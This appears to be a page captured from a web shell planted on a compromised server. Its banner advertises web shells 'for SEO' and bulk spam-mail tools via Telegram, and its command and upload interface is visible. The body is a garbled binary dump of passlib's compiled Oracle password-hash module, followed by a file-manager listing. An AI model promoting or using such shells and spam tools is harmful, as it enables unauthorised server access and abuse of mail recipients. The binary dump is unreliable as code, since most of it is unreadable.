__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

XR_#��8�SrSSKJrJr SSKJr SSKrSSKr\R"\	5r
SSKJrJ
r
 SSKJrJrJrJrJr SSKJr SSKJs Jr SS	/rSS
jrSr"SS
\R:\R<5r"SS\R@\RB5r"g)z3passlib.handlers.oracle - Oracle DB Password Hashes�)�hexlify�	unhexlify)�sha1N)�
to_unicode�	xor_bytes)�irange�u�
uascii_to_str�unicode�
str_to_uascii)�des_encrypt_block�	oracle10g�	oracle11gc��X[U5*S---
nUn[S[U5S5Hn[XAXUS-5n[X5nM  U$)a�performs des-cbc encryption, returns only last block.

this performs a specific DES-CBC encryption implementation
as needed by the Oracle10 hash. it probably won't be useful for
other purposes as-is.

input value is null-padded to multiple of 8 bytes.

:arg key: des key as bytes
:arg value: value to encrypt, as bytes.
:param iv: optional IV
:param pad: optional pad byte

:returns: last block of DES-CBC encryption of all ``value``'s byte blocks.
�r)�lenrrr
)�key�value�iv�pad�hash�offset�chunks       �9/usr/lib/python3/dist-packages/passlib/handlers/oracle.py�des_cbc_encryptrs[�� 
�S��Z�K�!�O�
$�$�E�
�D���3�u�:�a�(���$�f�A�X� 6�7�� ��,��)��K�s#Eg����c�N�\rSrSrSrSr\RrSr	\
S5rSrSr
g)�oracle10�4a�This class implements the password hash used by Oracle up to version 10g, and follows the :ref:`password-hash-api`.

It does a single round of hashing, and relies on the username as the salt.

The :meth:`~passlib.ifc.PasswordHash.hash`, :meth:`~passlib.ifc.PasswordHash.genhash`, and :meth:`~passlib.ifc.PasswordHash.verify` methods all require the
following additional contextual keywords:

:type user: str
:param user: name of oracle user account this password is associated with.
�c�"�UR5$)N)�upper)�clsrs  r�
_norm_hash�oracle10._norm_hashIs���z�z�|�rc�@�[U[5(aURS5n[URSSS9nX!-R5R
S5n[[U5n[XC5n[U5RS5R5$)N�utf-8�user)�paramz	utf-16-be�ascii)
�
isinstance�bytes�decoderr(r"�encoder�ORACLE10_MAGICr)�self�secretr(�inputrs     r�_calc_checksum�oracle10._calc_checksumMs����f�e�$�$��]�]�7�+�F��$�)�)�W�F�;����#�#�%�,�,�[�9���~�u�5���t�+���t�}�#�#�G�,�2�2�4�4r�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�name�uh�	HEX_CHARS�checksum_chars�
checksum_size�classmethodr$r3�__static_attributes__r5rrrr4s5��	��D��\�\�N��M�
����5rrc��\rSrSrSrSrSrSr\Rr
S=rr\Rr
\R"\"S5\R"5r\S5rSrS	rS
rg)�oracle11�haThis class implements the Oracle11g password hash, and follows the :ref:`password-hash-api`.

It supports a fixed-length salt.

The :meth:`~passlib.ifc.PasswordHash.using` method accepts the following optional keywords:

:type salt: str
:param salt:
    Optional salt string.
    If not specified, one will be autogenerated (this is recommended).
    If specified, it must be 20 hexadecimal characters.

:type relaxed: bool
:param relaxed:
    By default, providing an invalid value for one of the other
    keywords will result in a :exc:`ValueError`. If ``relaxed=True``,
    and the error can be corrected, a :exc:`~passlib.exc.PasslibHashWarning`
    will be issued instead. Correctable errors include
    ``salt`` strings that are too long.

    .. versionadded:: 1.6
)�salt�(�z/^S:(?P<chk>[0-9a-f]{40})(?P<salt>[0-9a-f]{20})$c���[USS5nURRU5nU(d[RRU5eUR
SS5up4U"X4R5S9$)Nr*rrE�chk)rE�checksum)r�_hash_regex�matchr<�exc�InvalidHashError�groupr")r#r�mrErIs     r�from_string�oracle11.from_string�s_���$���0���O�O�!�!�$�'����&�&�)�)�#�.�.��G�G�F�E�*�	����y�y�{�3�3rc��URn[S5UR5URR54-n[	U5$)NzS:%s%s)rJr	r"rEr
)r0rIrs   r�	to_string�oracle11.to_string�s:���m�m����{�c�i�i�k�4�9�9�?�?�+<�=�=���T�"�"rc��[U[5(aURS5n[U[	UR
RS55-5R
5n[U5R5$)Nr'r*)	r+rr.rrrE�	hexdigestrr")r0r1rIs   rr3�oracle11._calc_checksum�s]���f�g�&�&��]�]�7�+�F��6�I�d�i�i�&6�&6�w�&?�@�@�A�K�K�M���S�!�'�'�)�)rr5N)r6r7r8r9r:r;�setting_kwdsr?r<�UPPER_HEX_CHARSr>�
min_salt_size�
max_salt_size�
salt_chars�re�compiler	�IrKr@rQrTr3rAr5rrrCrChsu���4�D��L��M��'�'�N�%'�&�M�M��#�#�J��*�*�Q�P�Q�SU�SW�SW�X�K��4��4�#�
*rrC)s�)#r:�binasciirr�hashlibrr^�logging�	getLoggerr6�log�
passlib.utilsrr�passlib.utils.compatrr	r
rr�passlib.crypto.desr
�passlib.utils.handlers�utils�handlersr<�__all__rr/�HasUserContext�
StaticHandlerr�HasSalt�GenericHandlerrCr5rr�<module>rrs���9�
(��	��g�'�'��1��0�G�G�0�#�#������05��+5�r� � �"�"2�"2�+5�h<*�r�z�z�2�,�,�<*r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 250 B 0644
argon2.cpython-313.pyc File 29.75 KB 0644
bcrypt.cpython-313.pyc File 38.25 KB 0644
cisco.cpython-313.pyc File 12.55 KB 0644
des_crypt.cpython-313.pyc File 20.36 KB 0644
digests.cpython-313.pyc File 6.2 KB 0644
django.cpython-313.pyc File 20.54 KB 0644
fshp.cpython-313.pyc File 7.61 KB 0644
ldap_digests.cpython-313.pyc File 13.81 KB 0644
md5_crypt.cpython-313.pyc File 8.95 KB 0644
misc.cpython-313.pyc File 11.23 KB 0644
mssql.cpython-313.pyc File 9.08 KB 0644
mysql.cpython-313.pyc File 4.29 KB 0644
oracle.cpython-313.pyc File 6.42 KB 0644
pbkdf2.cpython-313.pyc File 17.2 KB 0644
phpass.cpython-313.pyc File 4.8 KB 0644
postgres.cpython-313.pyc File 2.03 KB 0644
roundup.cpython-313.pyc File 886 B 0644
scram.cpython-313.pyc File 14.6 KB 0644
scrypt.cpython-313.pyc File 12.57 KB 0644
sha1_crypt.cpython-313.pyc File 5.76 KB 0644
sha2_crypt.cpython-313.pyc File 15.02 KB 0644
sun_md5_crypt.cpython-313.pyc File 11.85 KB 0644
windows.cpython-313.pyc File 10.9 KB 0644
Filemanager